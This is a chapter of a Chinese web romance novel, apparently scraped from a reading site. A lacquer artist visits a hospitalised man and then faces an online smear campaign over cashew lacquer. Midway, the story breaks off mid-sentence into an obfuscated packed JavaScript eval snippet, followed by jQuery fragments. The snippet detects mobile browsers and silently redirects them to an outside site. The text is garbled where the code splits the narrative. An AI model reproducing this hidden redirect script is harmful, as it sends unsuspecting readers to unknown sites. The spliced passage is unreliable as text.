52.撒谎

作品:《在雾浓时

    温士顿的新品一上线就引发了热议,一是与非遗联名,做了非遗类宣传,有很多文化名流都下场赞扬;二是桑芜在那段时间也算是风头正盛,大家知道漆艺部分是她参与创作的,也都纷纷支持。


    工作室由常会灵和吴筱念撑着,这段时间也运行得很好,所以她们在群里庆祝的时候,桑芜特别欣慰,开玩笑似的说了一句:我感觉我可以退休了。


    常会灵单纯,听见这话会信以为真,连忙发了几个哭哭的表情:别啊桑老师,我还是个小孩子!


    吴筱念笑着回复:你信她,不如信金岑山会上树。


    金岑山:我为什么不会上树?


    曼婷:哈哈哈哈。


    大家都笑起来,金岑山才反应过来自己被打趣了。在群里与吴筱念连番对彼此进行了语音攻击。常会灵就在他们吵得热火朝天的时候,发了一段缠缠嘴里不停说“我爱你”的视频,一边说还一边演示着最近刚学会的金鸡独立。


    缠缠啊,果然是逢吵必出,搅混水的一把好手。


    桑芜叉掉视频,刚打算打字说些什么,就听见某人幽幽地说了一句:“缠缠的视频可以给我看看吗?”


    她觉得仲司砚还没搞清楚状况,拒绝得干脆:“不行。”


    “再怎么说,我也是抚养人之一,不是吗?”


    这语气,说得像她不让父亲见孩子一样,惹得刚刚经过的护士和病人都投来了八卦的目光。


    她真的有些心力交瘁,这医院不说全部人认识她,少说也有大半,她可不想何女士又听见些什么不好的传言,也更加确定身侧的人是拿捏住了这件事,才敢这么大胆说这些话。


    “转发给你了。”她将那人从黑名单里拉了出来,顺便将视频发了过去。


    计谋得逞的人笑了:“好的,谢谢人美心善的缠缠妈妈。”


    桑芜:“……”


    仲司砚摸了摸口袋,佯装慌张:“你能不能直接给我看啊,我没带手机。”


    “……你别得寸进尺!”


    “我说真的。”


    他目光一瞬不挪地盯着她,她稍稍一瞥,就能读懂他眼神中的示弱,真是连环计啊。


    但她不吃这一套。


    “行,现在看和再拉黑二选一。”


    仲司砚突然收回笑意,转开视线:“好像……也没那么急切,算了,还是回去看吧。”


    湖城难得有这样一个暖和的大晴天,灿烂的阳光映照下来,拉长了每个人的影子。两个人走进树荫里,刚好一阵风起,不知哪里飘落来的杨花落在了桑芜的发间,他下意识伸手去捉。


    意识到他的动作,她下意识躲了一下:“干什么?”


    她的意思很明显,就是告诉她自己还没完全原谅他。


    他的手落了空,滞在空气中,扯着唇笑了笑:“有虫子。”


    仲司砚是生了打趣的意思,但他忘了桑芜是一个惯常上山爬树的人,对这种情况早就见怪不怪了。


    她没有因此尖叫出声,而是淡定垂下头,手抓住披散着的头发,左看右看,但什么都没发现,疑惑出声:“没有啊。”她背对着他,“你看看。”


    这一刻,她收起了固执的刺,自然地使唤着他,仿佛两人又回到了一个吻就能轻言原谅的时候。


    可他知道,这时的自己是不能够吻上去的,只能伸出自己的手拿住了那颗干枯的杨花,用手掌的轻抚代替那个不能行使的吻。


    他捉住了自己心尖上的虫子,撇开脸说:“好了。”


    闻言,她才转过身看着他,正想道谢,却见他苦着一张脸,眼神晦涩,未再言语。


    要是以前,她绝对不明白他这副表情是什么样子,现在的她可太明白了。


    她歪头凑近他,闪着狡黠的眸子直直望进他眼底,两人呼吸交缠,却谁都没有再近一步。


    一个不敢,一个从来没想过让他如愿。


    他下意识垂下目光,却正好落入了她的圈套,瞧见了她湿润红嫩的双唇,此刻微微勾起,似乎是在得意。


    她没打算让他如愿,却也没想让他太失落,启唇道:“表现还可以。”


    说完就移开了脑袋,继续小步往前走,心情比新品上线时还愉悦。甚至完全没在意身后的人轻笑出声,想着要是被捉弄可以让自己快速被原谅,他求多被捉弄几次。


    其实他已经可以出院了,只是不想打破她陪在自己身边的局面,就矫情着说要多留几天。一回到病房,他就循环播放着缠缠的视频。


    其实那天两人吵得厉害,他也不确定自己听到的就是这句告白,现在就不一样了,视频里的缠缠简直可以说是字正腔圆。


    这视频音量不小,循环了几遍后,有人欢喜就有人不满。她心头狂跳,血液全部冲到了耳尖,再也忍受不了的时候,便借着倒水的契机,伸手摁灭了他的手机。


    仲司砚语气轻松:“你怎么对我的手机这么霸道?”


    桑芜:“……”


    “不过也行。”他话锋一转,“毕竟我现在是人在屋檐下,不得不低头。”


    他将手机主动递过去,继续道:“现在你可以继续霸道。”


    她没有接话,白了他一眼,转身走了。


    两人都默契地没有提那天的争吵,可两人又明明想将那次争吵彻底说开。所以她一出门,就瘫坐在椅子上,没由来地一阵无力,而仲司砚也迅速敛去轻松的神色,嘲讽似的勾了勾唇。


    其实他该说的话也都说了,只是她无法面对自己当时的小心思,她认为自己的嫉妒是丑恶的,还因为这丑恶的一面给别人定了个莫须有的罪名。可又觉得,他一直将自己蒙在鼓里,现在所承受这一切都是应该的。


    但说到底,对比原谅他,她更难原谅自己。在创作中,追求极致完美的人很难对自己没有要求。


    没过两天,社交媒体关于腰果漆的七宗罪冲上了热搜。


    “致大众:


    我从来没想过自己会成为传统文化的受害者……


    一些无良商家以次充好,打着传承的旗号,做的却是伤天害理的事儿……”


    并且在受害人的照片中明里暗里地表现了自己是购买了丹漆随梦的制作出售的家居与首饰,并说自己多么热爱传统文化,此刻却被背刺,心底多么的难过。


    对比大漆,腰果漆确实在色彩、耐久度等方面弱一些,但也远远没有文章中说得这么可怕。


    而且文章中有些说辞与上次抨击腰果漆的文多处雷同,桑芜一下就意识到了什么。果然,下一刻就有人扒出那些物件出自她手,并且她在前不久还站出来为腰果漆平


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825383|151668||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反,更是坐实了她并不反对用腰果漆。


    真是欲加之罪何患无辞。


    群情激愤,很多不清楚的网友情绪上头,冲到了她的社交平台账号下骂她,无非就是“无良”“黑心”等话语。


    吴筱念电话打过来的时候,桑芜还一团乱麻,但冷静下来,终于明白了为什么这个节点曝出来。


    今天,温士顿的新品上线,过两天就是小假期,还有文旅局的合作,对方这是想将她一锅端了,甚至不给她反应的机会。


    刚挂断吴筱念的电话,温士顿那边舒尔就打来了电话——


    “桑芜,我们的新品才上线,要这样下去,别说你了,我都别想干了。”舒尔话语难听,但语气平静。


    “他们应该酝酿了很久,抱歉,我会尽快解决。”


    “OK,你需要帮忙的地方就跟我说,我这边会联系公司先出声明,还会合作时,有拍摄一些制作录像,我们这边可以使用吧?”


    “可以的。”


    温士顿的声明发得很快,桑芜和吴筱念合计了一下,也发了一个声明,虽不至于平息怒火,但也给了她们暂时喘息的机会。


    她一脸严肃地回到病房,对着仲司砚说:“我先回宁港了,之后就左林照顾你。”


    仲司砚刚刚也知道发生了什么事儿,只平静地说:“我跟你一起走。”


    她原本想反驳,但这几个字莫名又给了她一丝勇气,她想可能有他在,自己可能会更坚定些,便也没再说话。


    一回到宁港,吴筱念就来接她,并跟她汇报最新情况:“文旅局那边金岑山去解决了,他这人虽然嘴贫,但在这儿方面还算有点用处。”


    “好。”


    “现在难就难在……”


    她一开机,就看到舒尔发来了温士顿的销量直线下滑的记录,不禁眉头一皱。


    最可怕的是,有几名网友站出来说买了她们最近的视频佩戴,脸烂了,脖子也奇痒无比,皮肤都快抓烂了。


    姑且不说她们是不是真的用了腰果漆,这种消息一看就是不可能的,腰果漆要是有着功能,早就位列毒药之席了,怎么还会存在在漆艺界?


    可群众通常不会过于查证,同情弱者是每个人的本能,他们会下意识为弱者说话。


    一路上,她一直在编辑说辞,以及与吴筱念她们一起商议对策,手机自动关机的时候,她才伸手去找充电器,可怎么翻找也找不到。


    她一股脑将包里的物品全部倒了出来,许久前,仲司砚送她的那只口红滚落到了某人的脚边。


    他俯身捡起那支口红,稳住桑芜的身形:“别慌。”


    她呼出一口气,佯装镇定地说:“我没慌。”


    “跟我学的?”


    “什么?”


    “撒谎。”


    “……”


    桑芜自认遇到过不少挫折,但真正投入到事件中时,还是会不自觉地打颤,这是心底没来由的恐惧,是难以控制的。


    只是她很少被这样一眼看穿。


    他突然打开那只口红,在她的唇上涂抹着,动作轻柔,却给她苍白的嘴唇与脸色增添了几分光彩:“要打仗,就要打起精神来,别还没迎敌,就输了。”


    那些断线的思绪突然连接上,她沉沉开口:“嗯,好。”